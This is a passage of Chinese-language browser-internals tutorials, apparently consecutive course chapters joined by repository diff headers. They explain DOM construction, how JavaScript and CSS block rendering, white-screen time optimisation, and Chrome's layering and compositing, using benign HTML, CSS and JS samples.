由图可以看出Tag Token又分StartTag 和 EndTag比如`&lt;body&gt;`就是StartTag `&lt;/body&gt;就是EndTag`分别对于图中的蓝色和红色块文本Token对应的绿色块。
**至于后续的第二个和第三个阶段是同步进行的需要将Token解析为DOM节点并将DOM节点添加到DOM树中。**
HTML解析器维护了一个**Token栈结构**该Token栈主要用来计算节点之间的父子关系在第一个阶段中生成的Token会被按照顺序压到这个栈中。具体的处理规则如下所示
- 如果压入到栈中的是**StartTag Token**HTML解析器会为该Token创建一个DOM节点然后将该节点加入到DOM树中它的父节点就是栈中相邻的那个元素生成的节点。
- 如果分词器解析出来是**文本Token**那么会生成一个文本节点然后将该节点加入到DOM树中文本Token是不需要压入到栈中它的父节点就是当前栈顶Token所对应的DOM节点。
- 如果分词器解析出来的是**EndTag标签**比如是EndTag divHTML解析器会查看Token栈顶的元素是否是StarTag div如果是就将StartTag div从栈中弹出表示该div元素解析完成。
通过分词器产生的新Token就这样不停地压栈和出栈整个解析过程就这样一直持续下去直到分词器将所有字节流分词完成。
为了更加直观地理解整个过程下面我们结合一段HTML代码如下来一步步分析DOM树的生成过程。
```
&lt;html&gt;
&lt;body&gt;
&lt;div&gt;1&lt;/div&gt;
&lt;div&gt;test&lt;/div&gt;
&lt;/body&gt;
&lt;/html&gt;
```
这段代码以字节流的形式传给了HTML解析器经过分词器处理解析出来的第一个Token是StartTag html解析出来的Token会被压入到栈中并同时创建一个html的DOM节点将其加入到DOM树中。
这里需要补充说明下,**HTML解析器开始工作时会默认创建了一个根为document的空DOM结构**同时会将一个StartTag document的Token压入栈底。然后经过分词器解析出来的第一个StartTag html Token会被压入到栈中并创建一个html的DOM节点添加到document上如下图所示
<img src="https://static001.geekbang.org/resource/image/7a/f1/7a6cd022bd51a3f274cd994b1398bef1.png" alt="">
然后按照同样的流程解析出来StartTag body和StartTag div其Token栈和DOM的状态如下图所示
<img src="https://static001.geekbang.org/resource/image/8c/a5/8c7ba966cebb0050b81c0385ffb4f2a5.png" alt="">
接下来解析出来的是第一个div的文本Token渲染引擎会为该Token创建一个文本节点并将该Token添加到DOM中它的父节点就是当前Token栈顶元素对应的节点如下图所示
<img src="https://static001.geekbang.org/resource/image/dc/af/dc0ddd4e3bf3569555f4b1ebec7a8caf.png" alt="">
再接下来分词器解析出来第一个EndTag div这时候HTML解析器会去判断当前栈顶的元素是否是StartTag div如果是则从栈顶弹出StartTag div如下图所示
<img src="https://static001.geekbang.org/resource/image/c4/a6/c4a255a8881ef9d21e419aa010ce24a6.png" alt="">
按照同样的规则,一路解析,最终结果如下图所示:
<img src="https://static001.geekbang.org/resource/image/aa/2e/aabf14cde38b058c5203195db82ec22e.png" alt="">
通过上面的介绍相信你已经清楚DOM是怎么生成的了。不过在实际生产环境中HTML源文件中既包含CSS和JavaScript又包含图片、音频、视频等文件所以处理过程远比上面这个示范Demo复杂。不过理解了这个简单的Demo生成过程我们就可以往下分析更加复杂的场景了。
## JavaScript是如何影响DOM生成的
我们再来看看稍微复杂点的HTML文件如下所示
```
&lt;html&gt;
&lt;body&gt;
&lt;div&gt;1&lt;/div&gt;
&lt;script&gt;
let div1 = document.getElementsByTagName('div')[0]
div1.innerText = 'time.geekbang'
&lt;/script&gt;
&lt;div&gt;test&lt;/div&gt;
&lt;/body&gt;
&lt;/html&gt;
```
我在两段div中间插入了一段JavaScript脚本这段脚本的解析过程就有点不一样了。`&lt;script&gt;`标签之前,所有的解析流程还是和之前介绍的一样,但是解析到`&lt;script&gt;`标签时渲染引擎判断这是一段脚本此时HTML解析器就会暂停DOM的解析因为接下来的JavaScript可能要修改当前已经生成的DOM结构。
通过前面DOM生成流程分析我们已经知道当解析到script脚本标签时其DOM树结构如下所示
<img src="https://static001.geekbang.org/resource/image/41/54/4150e27b332fab9f5a10bfafb524ff54.png" alt="">
这时候HTML解析器暂停工作JavaScript引擎介入并执行script标签中的这段脚本因为这段JavaScript脚本修改了DOM中第一个div中的内容所以执行这段脚本之后div节点内容已经修改为time.geekbang了。脚本执行完成之后HTML解析器恢复解析过程继续解析后续的内容直至生成最终的DOM。
以上过程应该还是比较好理解的不过除了在页面中直接内嵌JavaScript脚本之外我们还通常需要在页面中引入JavaScript文件这个解析过程就稍微复杂了些如下面代码
```
//foo.js
let div1 = document.getElementsByTagName('div')[0]
div1.innerText = 'time.geekbang'
```
```
&lt;html&gt;
&lt;body&gt;
&lt;div&gt;1&lt;/div&gt;
&lt;script type=&quot;text/javascript&quot; src='foo.js'&gt;&lt;/script&gt;
&lt;div&gt;test&lt;/div&gt;
&lt;/body&gt;
&lt;/html&gt;
```
这段代码的功能还是和前面那段代码是一样的不过这里我把内嵌JavaScript脚本修改成了通过JavaScript文件加载。其整个执行流程还是一样的执行到JavaScript标签时暂停整个DOM的解析执行JavaScript代码不过这里执行JavaScript时需要先下载这段JavaScript代码。这里需要重点关注下载环境因为**JavaScript文件的下载过程会阻塞DOM解析**而通常下载又是非常耗时的会受到网络环境、JavaScript文件大小等因素的影响。
不过Chrome浏览器做了很多优化其中一个主要的优化是**预解析操作**。当渲染引擎收到字节流之后会开启一个预解析线程用来分析HTML文件中包含的JavaScript、CSS等相关文件解析到相关文件之后预解析线程会提前下载这些文件。
再回到DOM解析上我们知道引入JavaScript线程会阻塞DOM不过也有一些相关的策略来规避比如使用CDN来加速JavaScript文件的加载压缩JavaScript文件的体积。另外如果JavaScript文件中没有操作DOM相关代码就可以将该JavaScript脚本设置为异步加载通过async 或defer来标记代码使用方式如下所示
```
&lt;script async type=&quot;text/javascript&quot; src='foo.js'&gt;&lt;/script&gt;
```
```
&lt;script defer type=&quot;text/javascript&quot; src='foo.js'&gt;&lt;/script&gt;
```
async和defer虽然都是异步的不过还有一些差异使用async标志的脚本文件一旦加载完成会立即执行而使用了defer标记的脚本文件需要在DOMContentLoaded事件之前执行。
现在我们知道了JavaScript是如何阻塞DOM解析的了那接下来我们再来结合文中代码看看另外一种情况
```
//theme.css
div {color:blue}
```
```
&lt;html&gt;
&lt;head&gt;
&lt;style src='theme.css'&gt;&lt;/style&gt;
&lt;/head&gt;
&lt;body&gt;
&lt;div&gt;1&lt;/div&gt;
&lt;script&gt;
let div1 = document.getElementsByTagName('div')[0]
div1.innerText = 'time.geekbang' //需要DOM
div1.style.color = 'red' //需要CSSOM
&lt;/script&gt;
&lt;div&gt;test&lt;/div&gt;
&lt;/body&gt;
&lt;/html&gt;
```
该示例中JavaScript代码出现了 `div1.style.color = red'` 的语句它是用来操纵CSSOM的所以在执行JavaScript之前需要先解析JavaScript语句之上所有的CSS样式。所以如果代码里引用了外部的CSS文件那么在执行JavaScript之前还需要等待外部的CSS文件下载完成并解析生成CSSOM对象之后才能执行JavaScript脚本。
而JavaScript引擎在解析JavaScript之前是不知道JavaScript是否操纵了CSSOM的所以渲染引擎在遇到JavaScript脚本时不管该脚本是否操纵了CSSOM都会执行CSS文件下载解析操作再执行JavaScript脚本。
所以说JavaScript脚本是依赖样式表的这又多了一个阻塞过程。至于如何优化我们在下篇文章中再来深入探讨。
通过上面的分析我们知道了JavaScript会阻塞DOM生成而样式文件又会阻塞JavaScript的执行所以在实际的工程中需要重点关注JavaScript文件和样式表文件使用不当会影响到页面性能的。
## 总结
好了,今天就讲到这里,下面我来总结下今天的内容。
首先我们介绍了DOM是如何生成的然后又基于DOM的生成过程分析了JavaScript是如何影响到DOM生成的。因为CSS和JavaScript都会影响到DOM的生成所以我们又介绍了一些加速生成DOM的方案理解了这些能让你更加深刻地理解如何去优化首次页面渲染。
额外说明一下渲染引擎还有一个安全检查模块叫XSSAuditor是用来检测词法安全的。在分词器解析出来Token之后它会检测这些模块是否安全比如是否引用了外部脚本是否符合CSP规范是否存在跨站点请求等。如果出现不符合规范的内容XSSAuditor会对该脚本或者下载任务进行拦截。详细内容我们会在后面的安全模块介绍这里就不赘述了。
## 思考时间
看下面这样一段代码你认为打开这个HTML页面页面显示的内容是什么
```
&lt;html&gt;
&lt;body&gt;
&lt;div&gt;1&lt;/div&gt;
&lt;script&gt;
let div1 = document.getElementsByTagName('div')[0]
div1.innerText = 'time.geekbang'
let div2 = document.getElementsByTagName('div')[1]
div2.innerText = 'time.geekbang.com'
&lt;/script&gt;
&lt;div&gt;test&lt;/div&gt;
&lt;/body&gt;
&lt;/html&gt;
```
欢迎在留言区与我分享你的想法,也欢迎你在留言区记录你的思考过程。感谢阅读,如果你觉得这篇文章对你有帮助的话,也欢迎把它分享给更多的朋友。

View File

@@ -0,0 +1,173 @@
<audio id="audio" title="23 | 渲染流水线CSS如何影响首次加载时的白屏时间" controls="" preload="none"><source id="mp3" src="https://static001.geekbang.org/resource/audio/3a/ad/3a5fd6a113c9b21441ac4193ed237fad.mp3"></audio>
在[上一篇文章](https://time.geekbang.org/column/article/140140)中我们详细介绍了DOM的生成过程并结合具体例子分析了JavaScript是如何阻塞DOM生成的。那本文我们就继续深入聊聊渲染流水线中的CSS。因为CSS是页面中非常重要的资源它决定了页面最终显示出来的效果并影响着用户对整个网站的第一体验。所以搞清楚浏览器中的CSS是怎么工作的很有必要只有理解了CSS是如何工作的你才能更加深刻地理解如何去优化页面。
本文我们先站在渲染流水线的视角来介绍CSS是如何工作的然后通过CSS的工作流程来分析性能瓶颈最后再来讨论如何减少首次加载时的白屏时间。
## 渲染流水线视角下的CSS
我们先结合下面代码来看看最简单的渲染流程:
```
//theme.css
div{
color : coral;
background-color:black
}
```
```
&lt;html&gt;
&lt;head&gt;
&lt;link href=&quot;theme.css&quot; rel=&quot;stylesheet&quot;&gt;
&lt;/head&gt;
&lt;body&gt;
&lt;div&gt;geekbang com&lt;/div&gt;
&lt;/body&gt;
&lt;/html&gt;
```
这两段代码分别由CSS文件和HTML文件构成我们来分析下打开这段HTML文件时的渲染流水线你可以先参考下面这张渲染流水线示意图
<img src="https://static001.geekbang.org/resource/image/70/18/70a7ea0212ff35fc2be79f1d574ed518.png" alt="">
下面我们结合上图来分析这个页面文件的渲染流水线。
首先是发起主页面的请求这个发起请求方可能是渲染进程也有可能是浏览器进程发起的请求被送到网络进程中去执行。网络进程接收到返回的HTML数据之后将其发送给渲染进程渲染进程会解析HTML数据并构建DOM。这里你需要特别注意下请求HTML数据和构建DOM中间有一段空闲时间这个空闲时间有可能成为页面渲染的瓶颈。
[上一篇文章](https://time.geekbang.org/column/article/140140)中我们提到过当渲染进程接收HTML文件字节流时会先开启一个**预解析线程**如果遇到JavaScript文件或者CSS文件那么预解析线程会提前下载这些数据。对于上面的代码预解析线程会解析出来一个外部的theme.css文件并发起theme.css的下载。这里也有一个空闲时间需要你注意一下就是在DOM构建结束之后、theme.css文件还未下载完成的这段时间内渲染流水线无事可做因为下一步是合成布局树而合成布局树需要CSSOM和DOM所以这里需要等待CSS加载结束并解析成CSSOM。
**那渲染流水线为什么需要CSSOM呢**
和HTML一样渲染引擎也是无法直接理解CSS文件内容的所以需要将其解析成渲染引擎能够理解的结构这个结构就是CSSOM。和DOM一样CSSOM也具有两个作用**第一个是提供给JavaScript操作样式表的能力第二个是为布局树的合成提供基础的样式信息**。这个CSSOM体现在DOM中就是`document.styleSheets`。具体结构你可以去查阅相关资料这里我就不过多介绍了你知道CSSOM的两个作用是怎样的就行了。
有了DOM和CSSOM接下来就可以合成布局树了我们在前面[《05 | 渲染流程HTML、CSS和JavaScript文件是如何变成页面的](https://time.geekbang.org/column/article/118205)这篇文章中讲解过布局树的构造过程这里咱们再简单回顾下。等DOM和CSSOM都构建好之后渲染引擎就会构造布局树。布局树的结构基本上就是复制DOM树的结构不同之处在于DOM树中那些不需要显示的元素会被过滤掉如display:none属性的元素、head标签、script标签等。复制好基本的布局树结构之后渲染引擎会为对应的DOM元素选择对应的样式信息这个过程就是**样式计算**。样式计算完成之后,渲染引擎还需要计算布局树中每个元素对应的几何位置,这个过程就是**计算布局**。通过样式计算和计算布局就完成了最终布局树的构建。再之后,就该进行后续的绘制操作了。
这就是在渲染过程中涉及到CSS的一些主要流程。
了解了这些之后我们再来看看稍微复杂一点的场景还是看下面这段HTML代码
```
//theme.css
div{
color : coral;
background-color:black
}
```
```
&lt;html&gt;
&lt;head&gt;
&lt;link href=&quot;theme.css&quot; rel=&quot;stylesheet&quot;&gt;
&lt;/head&gt;
&lt;body&gt;
&lt;div&gt;geekbang com&lt;/div&gt;
&lt;script&gt;
console.log('time.geekbang.org')
&lt;/script&gt;
&lt;div&gt;geekbang com&lt;/div&gt;
&lt;/body&gt;
&lt;/html&gt;
```
这段代码是我在开头代码的基础之上做了一点小修改在body标签内部加了一个简单的JavaScript。有了JavaScript渲染流水线就有点不一样了可以参考下面这张渲染流水线图
<img src="https://static001.geekbang.org/resource/image/f8/1c/f85f8778f273710ca559a52027ed731c.png" alt="">
那我们就结合这张图来分析含有外部CSS文件和JavaScript代码的页面渲染流水线[上一篇文章](https://time.geekbang.org/column/article/140140)中我们提到过在解析DOM的过程中如果遇到了JavaScript脚本那么需要先暂停DOM解析去执行JavaScript因为JavaScript有可能会修改当前状态下的DOM。
不过在执行JavaScript脚本之前如果页面中包含了外部CSS文件的引用或者通过style标签内置了CSS内容那么渲染引擎还需要将这些内容转换为CSSOM因为JavaScript有修改CSSOM的能力所以在执行JavaScript之前还需要依赖CSSOM。也就是说CSS在部分情况下也会阻塞DOM的生成。
我们再来看看更加复杂一点的情况如果在body中被包含的是JavaScript外部引用文件Demo代码如下所示
```
//theme.css
div{
color : coral;
background-color:black
}
```
```
//foo.js
console.log('time.geekbang.org')
```
```
&lt;html&gt;
&lt;head&gt;
&lt;link href=&quot;theme.css&quot; rel=&quot;stylesheet&quot;&gt;
&lt;/head&gt;
&lt;body&gt;
&lt;div&gt;geekbang com&lt;/div&gt;
&lt;script src='foo.js'&gt;&lt;/script&gt;
&lt;div&gt;geekbang com&lt;/div&gt;
&lt;/body&gt;
&lt;/html&gt;
```
从上面代码可以看出来HTML文件中包含了CSS的外部引用和JavaScript外部文件那它们的渲染流水线是怎样的呢可参考下图
<img src="https://static001.geekbang.org/resource/image/76/1f/7641c75a80133e747aa2faae8f4c8d1f.png" alt="">
从图中可以看出来在接收到HTML数据之后的预解析过程中HTML预解析器识别出来了有CSS文件和JavaScript文件需要下载然后就同时发起这两个文件的下载请求需要注意的是这两个文件的下载过程是重叠的所以下载时间按照最久的那个文件来算。
后面的流水线就和前面是一样的了不管CSS文件和JavaScript文件谁先到达都要先等到CSS文件下载完成并生成CSSOM然后再执行JavaScript脚本最后再继续构建DOM构建布局树绘制页面。
## 影响页面展示的因素以及优化策略
前面我们为什么要花这么多文字来分析渲染流水线呢?主要原因就是**渲染流水线影响到了首次页面展示的速度,而首次页面展示的速度又直接影响到了用户体验**,所以我们分析渲染流水线的目的就是为了找出一些影响到首屏展示的因素,然后再基于这些因素做一些针对性的调整。
那么接下来我们就来看看从发起URL请求开始到首次显示页面的内容在视觉上经历的三个阶段。
- 第一个阶段,等请求发出去之后,到提交数据阶段,这时页面展示出来的还是之前页面的内容。关于提交数据你可以参考前面[《04 | 导航流程从输入URL到页面展示这中间发生了什么](https://time.geekbang.org/column/article/117637)这篇文章。
- 第二个阶段,提交数据之后渲染进程会创建一个空白页面,我们通常把这段时间称为**解析白屏**并等待CSS文件和JavaScript文件的加载完成生成CSSOM和DOM然后合成布局树最后还要经过一系列的步骤准备首次渲染。
- 第三个阶段,等首次渲染完成之后,就开始进入完整页面的生成阶段了,然后页面会一点点被绘制出来。
影响第一个阶段的因素主要是网络或者是服务器处理这块儿,前面文章中我们已经讲过了,这里我们就不再继续分析了。至于第三个阶段,我们会在后续文章中分析,所以这里也不做介绍了。
现在我们重点关注第二个阶段这个阶段的主要问题是白屏时间如果白屏时间过久就会影响到用户体验。为了缩短白屏时间我们来挨个分析这个阶段的主要任务包括了解析HTML、下载CSS、下载JavaScript、生成CSSOM、执行JavaScript、生成布局树、绘制页面一系列操作。
通常情况下的瓶颈主要体现在**下载CSS文件、下载JavaScript文件和执行JavaScript**。
所以要想缩短白屏时长,可以有以下策略:
- 通过内联JavaScript、内联CSS来移除这两种类型的文件下载这样获取到HTML文件之后就可以直接开始渲染流程了。
- 但并不是所有的场合都适合内联那么还可以尽量减少文件大小比如通过webpack等工具移除一些不必要的注释并压缩JavaScript文件。
- 还可以将一些不需要在解析HTML阶段使用的JavaScript标记上async或者defer。
- 对于大的CSS文件可以通过媒体查询属性将其拆分为多个不同用途的CSS文件这样只有在特定的场景下才会加载特定的CSS文件。
通过以上策略就能缩短白屏展示的时长了,不过在实际项目中,总是存在各种各样的情况,这些策略并不能随心所欲地去引用,所以还需要结合实际情况来调整最佳方案。
## 总结
好了,今天就介绍到这里,下面我来总结下今天的内容。
我们首先介绍了CSS在渲染流水线中的位置以及CSS是如何影响到渲染流程的接下来我们通过渲染流水线分析了从发出请求到页面首次绘制的三个阶段最后重点介绍了第二个白屏阶段以及优化该阶段的一些策略。
通过今天的内容我们可以知道虽然JavaScript和CSS给我们带来了极大的便利不过也对页面的渲染带来了很多的限制所以我们要关注资源加载速度需要小心翼翼地处理各种资源之间的关联关系。
## 思考时间
今天留给你的思考题是:当你横屏方向拿着一个手机时,打开一个页面,观察下面几种资源的加载方式,你认为哪几种会阻塞页面渲染?为什么?
```
1:&lt;script src=&quot;foo.js&quot; type=&quot;text/javascript&quot;&gt;&lt;/script&gt;
2:&lt;script defer src=&quot;foo.js&quot; type=&quot;text/javascript&quot;&gt;&lt;/script&gt;
3:&lt;script sync src=&quot;foo.js&quot; type=&quot;text/javascript&quot;&gt;&lt;/script&gt;
4:&lt;link rel=&quot;stylesheet&quot; type=&quot;text/css&quot; href=&quot;foo.css&quot; /&gt;
5:&lt;link rel=&quot;stylesheet&quot; type=&quot;text/css&quot; href=&quot;foo.css&quot; media=&quot;screen&quot;/&gt;
6:&lt;link rel=&quot;stylesheet&quot; type=&quot;text/css&quot; href=&quot;foo.css&quot; media=&quot;print&quot; /&gt;
7:&lt;link rel=&quot;stylesheet&quot; type=&quot;text/css&quot; href=&quot;foo.css&quot; media=&quot;orientation:landscape&quot; /&gt;
8:&lt;link rel=&quot;stylesheet&quot; type=&quot;text/css&quot; href=&quot;foo.css&quot; media=&quot;orientation:portrait&quot; /&gt;
```
欢迎在留言区与我分享你的想法,也欢迎你在留言区记录你的思考过程。感谢阅读,如果你觉得这篇文章对你有帮助的话,也欢迎把它分享给更多的朋友。

View File

@@ -0,0 +1,249 @@
<audio id="audio" title="24 | 分层和合成机制为什么CSS动画比JavaScript高效" controls="" preload="none"><source id="mp3" src="https://static001.geekbang.org/resource/audio/48/53/482b6d80cf7013da0b18414bfb117c53.mp3"></audio>
在[上一篇文章](https://time.geekbang.org/column/article/140703)中我们分析了CSS和JavaScript是如何影响到DOM树生成的今天我们继续沿着渲染流水线向下分析来聊聊DOM树之后所发生的事情。
在前面[《05 | 渲染流程HTML、CSS和JavaScript文件是如何变成页面的](https://time.geekbang.org/column/article/118205)文章中我们介绍过DOM树生成之后还要经历布局、分层、绘制、合成、显示等阶段后才能显示出漂亮的页面。
本文我们主要讲解渲染引擎的分层和合成机制因为分层和合成机制代表了浏览器最为先进的合成技术Chrome团队为了做到这一点做了大量的优化工作。了解其工作原理有助于拓宽你的视野而且也有助于你更加深刻地理解CSS动画和JavaScript底层工作机制。
## 显示器是怎么显示图像的
每个显示器都有固定的刷新频率通常是60HZ也就是每秒更新60张图片更新的图片都来自于显卡中一个叫**前缓冲区**的地方显示器所做的任务很简单就是每秒固定读取60次前缓冲区中的图像并将读取的图像显示到显示器上。
**那么这里显卡做什么呢?**
显卡的职责就是合成新的图像,并将图像保存到**后缓冲区**中,一旦显卡把合成的图像写到后缓冲区,系统就会让后缓冲区和前缓冲区互换,这样就能保证显示器能读取到最新显卡合成的图像。通常情况下,显卡的更新频率和显示器的刷新频率是一致的。但有时候,在一些复杂的场景中,显卡处理一张图片的速度会变慢,这样就会造成视觉上的卡顿。
## 帧 VS 帧率
了解了显示器是怎么显示图像的之后,下面我们再来明确下帧和帧率的概念,因为这是后续一切分析的基础。
当你通过滚动条滚动页面,或者通过手势缩放页面时,屏幕上就会产生动画的效果。之所以你能感觉到有动画的效果,是因为在滚动或者缩放操作时,渲染引擎会通过渲染流水线生成新的图片,并发送到显卡的后缓冲区。
大多数设备屏幕的更新频率是60次/秒这也就意味着正常情况下要实现流畅的动画效果渲染引擎需要每秒更新60张图片到显卡的后缓冲区。
我们把渲染流水线生成的每一副图片称为一帧把渲染流水线每秒更新了多少帧称为帧率比如滚动过程中1秒更新了60帧那么帧率就是60Hz或者60FPS
由于用户很容易观察到那些丢失的帧,如果在一次动画过程中,渲染引擎生成某些帧的时间过久,那么用户就会感受到卡顿,这会给用户造成非常不好的印象。
要解决卡顿问题就要解决每帧生成时间过久的问题为此Chrome对浏览器渲染方式做了大量的工作其中最卓有成效的策略就是引入了分层和合成机制。分层和合成机制代表了当今最先进的渲染技术所以接下来我们就来分析下什么是合成和渲染技术。
## 如何生成一帧图像
不过在开始之前,我们还需要聊一聊渲染引擎是如何生成一帧图像的。这需要回顾下我们前面[《06 | 渲染流程HTML、CSS和JavaScript文件是如何变成页面的](https://time.geekbang.org/column/article/118826)介绍的渲染流水线。关于其中任意一帧的生成方式,有**重排、重绘**和**合成**三种方式。
这三种方式的渲染路径是不同的,**通常渲染路径越长,生成图像花费的时间就越多**。比如**重排**它需要重新根据CSSOM和DOM来计算布局树这样生成一幅图片时会让整个渲染流水线的每个阶段都执行一遍如果布局复杂的话就很难保证渲染的效率了。而**重绘**因为没有了重新布局的阶段,操作效率稍微高点,但是依然需要重新计算绘制信息,并触发绘制操作之后的一系列操作。
相较于重排和重绘,**合成**操作的路径就显得非常短了并不需要触发布局和绘制两个阶段如果采用了GPU那么合成的效率会非常高。
所以,关于渲染引擎生成一帧图像的几种方式,按照效率我们推荐合成方式优先,若实在不能满足需求,那么就再退后一步使用重绘或者重排的方式。
本文我们的焦点在合成上所以接下来我们就来深入分析下Chrome浏览器是怎么实现合成操作的。Chrome中的合成技术可以用三个词来概括总结**分层、分块**和**合成**。
## 分层和合成
通常页面的组成是非常复杂的有的页面里要实现一些复杂的动画效果比如点击菜单时弹出菜单的动画特效滚动鼠标滚轮时页面滚动的动画效果当然还有一些炫酷的3D动画特效。如果没有采用分层机制从布局树直接生成目标图片的话那么每次页面有很小的变化时都会触发重排或者重绘机制这种“牵一发而动全身”的绘制策略会严重影响页面的渲染效率。
**为了提升每帧的渲染效率Chrome引入了分层和合成的机制。那该怎么来理解分层和合成机制呢**
你可以把一张网页想象成是由很多个图片叠加在一起的每个图片就对应一个图层Chrome合成器最终将这些图层合成了用于显示页面的图片。如果你熟悉PhotoShop的话就能很好地理解这个过程了PhotoShop中一个项目是由很多图层构成的每个图层都可以是一张单独图片可以设置透明度、边框阴影可以旋转或者设置图层的上下位置将这些图层叠加在一起后就能呈现出最终的图片了。
在这个过程中,将素材分解为多个图层的操作就称为**分层**,最后将这些图层合并到一起的操作就称为**合成**。所以,分层和合成通常是一起使用的。
考虑到一个页面被划分为两个层当进行到下一帧的渲染时上面的一帧可能需要实现某些变换如平移、旋转、缩放、阴影或者Alpha渐变这时候合成器只需要将两个层进行相应的变化操作就可以了显卡处理这些操作驾轻就熟所以这个合成过程时间非常短。
**理解了为什么要引入合成和分层机制下面我们再来看看Chrome是怎么实现分层和合成机制的。**
在Chrome的渲染流水线中**分层体现在生成布局树之后**渲染引擎会根据布局树的特点将其转换为层树Layer Tree层树是渲染流水线后续流程的基础结构。
层树中的每个节点都对应着一个图层,下一步的绘制阶段就依赖于层树中的节点。在[《06 | 渲染流程HTML、CSS和JavaScript文件是如何变成页面的](https://time.geekbang.org/column/article/118826)中我们介绍过,绘制阶段其实并不是真正地绘出图片,而是将绘制指令组合成一个列表,比如一个图层要设置的背景为黑色,并且还要在中间画一个圆形,那么绘制过程会生成`|Paint BackGroundColor:Black | Paint Circle|`这样的绘制指令列表,绘制过程就完成了。
有了绘制列表之后,就需要进入光栅化阶段了,光栅化就是按照绘制列表中的指令生成图片。每一个图层都对应一张图片,合成线程有了这些图片之后,会将这些图片合成为“一张”图片,并最终将生成的图片发送到后缓冲区。这就是一个大致的分层、合成流程。
**需要重点关注的是,合成操作是在合成线程上完成的,这也就意味着在执行合成操作时,是不会影响到主线程执行的**。这就是为什么经常主线程卡住了但是CSS动画依然能执行的原因。
## 分块
如果说分层是从宏观上提升了渲染效率,那么分块则是从微观层面提升了渲染效率。
通常情况下,页面的内容都要比屏幕大得多,显示一个页面时,如果等待所有的图层都生成完毕,再进行合成的话,会产生一些不必要的开销,也会让合成图片的时间变得更久。
因此,合成线程会将每个图层分割为大小固定的图块,然后优先绘制靠近视口的图块,这样就可以大大加速页面的显示速度。不过有时候, 即使只绘制那些优先级最高的图块,也要耗费不少的时间,因为涉及到一个很关键的因素——**纹理上传**这是因为从计算机内存上传到GPU内存的操作会比较慢。
为了解决这个问题Chrome又采取了一个策略**在首次合成图块的时候使用一个低分辨率的图片**。比如可以是正常分辨率的一半,分辨率减少一半,纹理就减少了四分之三。在首次显示页面内容的时候,将这个低分辨率的图片显示出来,然后合成器继续绘制正常比例的网页内容,当正常比例的网页内容绘制完成后,再替换掉当前显示的低分辨率内容。这种方式尽管会让用户在开始时看到的是低分辨率的内容,但是也比用户在开始时什么都看不到要好。
## 如何利用分层技术优化代码
通过上面的介绍,相信你已经理解了渲染引擎是怎么将布局树转换为漂亮图片的,理解其中原理之后,你就可以利用分层和合成技术来优化代码了。
在写Web应用的时候你可能经常需要对某个元素做几何形状变换、透明度变换或者一些缩放操作如果使用JavaScript来写这些效果会牵涉到整个渲染流水线所以JavaScript的绘制效率会非常低下。
这时你可以使用 will-change来告诉渲染引擎你会对该元素做一些特效变换CSS代码如下
```
.box {
will-change: transform, opacity;
}
```
这段代码就是提前告诉渲染引擎box元素将要做几何变换和透明度变换操作这时候渲染引擎会将该元素单独实现一帧等这些变换发生时渲染引擎会通过合成线程直接去处理变换这些变换并没有涉及到主线程这样就大大提升了渲染的效率。**这也是CSS动画比JavaScript动画高效的原因**。
所以如果涉及到一些可以使用合成线程来处理CSS特效或者动画的情况就尽量使用will-change来提前告诉渲染引擎让它为该元素准备独立的层。但是凡事都有两面性每当渲染引擎为一个元素准备一个独立层的时候它占用的内存也会大大增加因为从层树开始后续每个阶段都会多一个层结构这些都需要额外的内存所以你需要恰当地使用 will-change。
## 总结
好了,今天就介绍到这里,下面我来总结下今天的内容。
- 首先我们介绍了显示器显示图像的原理,以及帧和帧率的概念,然后基于帧和帧率我们又介绍渲染引擎是如何实现一帧图像的。通常渲染引擎生成一帧图像有三种方式:重排、重绘和合成。其中重排和重绘操作都是在渲染进程的主线程上执行的,比较耗时;而合成操作是在渲染进程的合成线程上执行的,执行速度快,且不占用主线程。
- 然后我们重点介绍了浏览器是怎么实现合成的,其技术细节主要可以使用三个词来概括:分层、分块和合成。
- 最后我们还讲解了CSS动画比JavaScript动画高效的原因以及怎么使用 will-change来优化动画或特效。
## 思考时间
观察下面代码结合Performance面板、内存面板和分层面板全面比较在box中使用 will-change和不使用 will-change的效率、性能和内存占用等情况。
```
&lt;html&gt;
&lt;head&gt;
&lt;title&gt;观察will-change&lt;/title&gt;
&lt;style&gt;
.box {
will-change: transform, opacity;
display: block;
float: left;
width: 40px;
height: 40px;
margin: 15px;
padding: 10px;
border: 1px solid rgb(136, 136, 136);
background: rgb(187, 177, 37);
border-radius: 30px;
transition: border-radius 1s ease-out;
}
body {
font-family: Arial;
}
&lt;/style&gt;
&lt;/head&gt;
&lt;body&gt;
&lt;div id=&quot;controls&quot;&gt;
&lt;button id=&quot;start&quot;&gt;start&lt;/button&gt;
&lt;button id=&quot;stop&quot;&gt;stop&lt;/button&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;div class=&quot;box&quot;&gt;旋转盒子&lt;/div&gt;
&lt;div class=&quot;box&quot;&gt;旋转盒子&lt;/div&gt;
&lt;div class=&quot;box&quot;&gt;旋转盒子&lt;/div&gt;
&lt;div class=&quot;box&quot;&gt;旋转盒子&lt;/div&gt;
&lt;div class=&quot;box&quot;&gt;旋转盒子&lt;/div&gt;
&lt;div class=&quot;box&quot;&gt;旋转盒子&lt;/div&gt;
&lt;div class=&quot;box&quot;&gt;旋转盒子&lt;/div&gt;
&lt;div class=&quot;box&quot;&gt;旋转盒子&lt;/div&gt;
&lt;div class=&quot;box&quot;&gt;旋转盒子&lt;/div&gt;
&lt;div class=&quot;box&quot;&gt;旋转盒子&lt;/div&gt;
&lt;div class=&quot;box&quot;&gt;旋转盒子&lt;/div&gt;
&lt;div class=&quot;box&quot;&gt;旋转盒子&lt;/div&gt;
&lt;div class=&quot;box&quot;&gt;旋转盒子&lt;/div&gt;
&lt;div class=&quot;box&quot;&gt;旋转盒子&lt;/div&gt;
&lt;div class=&quot;box&quot;&gt;旋转盒子&lt;/div&gt;
&lt;div class=&quot;box&quot;&gt;旋转盒子&lt;/div&gt;
&lt;div class=&quot;box&quot;&gt;旋转盒子&lt;/div&gt;
&lt;div class=&quot;box&quot;&gt;旋转盒子&lt;/div&gt;
&lt;div class=&quot;box&quot;&gt;旋转盒子&lt;/div&gt;
&lt;div class=&quot;box&quot;&gt;旋转盒子&lt;/div&gt;
&lt;div class=&quot;box&quot;&gt;旋转盒子&lt;/div&gt;
&lt;div class=&quot;box&quot;&gt;旋转盒子&lt;/div&gt;
&lt;div class=&quot;box&quot;&gt;旋转盒子&lt;/div&gt;
&lt;div class=&quot;box&quot;&gt;旋转盒子&lt;/div&gt;
&lt;div class=&quot;box&quot;&gt;旋转盒子&lt;/div&gt;
&lt;div class=&quot;box&quot;&gt;旋转盒子&lt;/div&gt;
&lt;div class=&quot;box&quot;&gt;旋转盒子&lt;/div&gt;
